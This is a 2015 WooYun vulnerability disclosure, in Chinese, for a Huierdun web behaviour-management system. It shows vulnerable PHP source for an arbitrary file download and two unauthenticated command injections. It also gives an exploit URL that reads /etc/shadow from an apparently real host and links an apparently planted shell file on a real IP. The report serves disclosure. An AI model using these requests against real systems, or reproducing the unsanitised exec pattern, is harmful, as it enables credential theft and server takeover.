当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100592

漏洞标题:惠尔顿上网行为管理系统漏洞打包

相关厂商:深圳市惠尔顿信息技术有限公司

漏洞作者: pandas

提交时间:2015-03-11 10:51

修复时间:2015-06-14 08:22

公开时间:2015-06-14 08:22

漏洞类型:命令执行

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-11: 细节已通知厂商并且等待厂商处理中
2015-03-16: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向第三方安全合作伙伴开放
2015-05-10: 细节向核心白帽子及相关领域专家公开
2015-05-20: 细节向普通白帽子公开
2015-05-30: 细节向实习白帽子公开
2015-06-14: 细节向公众公开

简要描述:

包含一处任意文件下载、2处任意代码执行getshell,同样无需登录。就不一个个提交了被人鄙视刷洞了,也不继续挖了,留给后人挖。

详细说明:

一、任意文件下载
漏洞文件:base/sys/download_file.php

<?php 
$file = $_REQUEST['filename'];
$path = $_REQUEST['path'];
if(file_exists($path)){
Header( "Content-type: application/octet-stream ");
Header( "Accept-Ranges: bytes ");
Header( "Accept-Length: ".filesize($path));
Header( "Content-Disposition: attachment; filename=".iconv("utf-8",'gb2312',$file));
ob_clean();
flush();
readfile($path);
}
?>


很明显,利用方式:https://test.bescar.com/base/sys/download_file.php?filename=111&path=/etc/shadow

QQ20150310-9@2x.png

漏洞证明:

二、命令执行
1. base\user\clearScreenImg.php

<?php 
$user = $_REQUEST['user']?$_REQUEST['user']:"*";
exec("rm -rf /opt/triton/client_screen/".$user);
?>


漏洞很浅显,user变量未过滤即拼接进入exec造成命令执行
2. base\user\Organization\downloadImage.php

<?php 
$user = $_REQUEST['user'];//1
$jpg_file = "/opt/triton/client_screen/".$user;
if(is_dir($jpg_file)){
chdir($jpg_file);
exec("tar -zcvf /tmp/".$user.".tar.gz ./");
}
$tar_file = "/tmp/".$user.".tar.gz";//2
if(file_exists($tar_file)){
$fp = fopen($tar_file, "r ");
Header( "Content-type: application/octet-stream ");
Header( "Accept-Ranges: bytes ");
Header( "Accept-Length: ".filesize($tar_file));
Header( "Content-Disposition: attachment; filename= ".urlencode($user.".tar.gz"));
echo fread($fp,filesize($tar_file));
fclose($fp);
}
exec("rm ".$tar_file);//3
?>


注意代码注释中的1、2、3,一样造成了命令执行漏洞
http://222.223.56.116/base/wooyun1.php

QQ20150310-10@2x.png

修复方案:

.

版权声明:转载请注明来源 pandas@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-16 08:21

厂商回复:

CNVD确认并复现所述情况,正在尝试通过公开渠道积极联系软件生产厂商,待处置。

最新状态:

暂无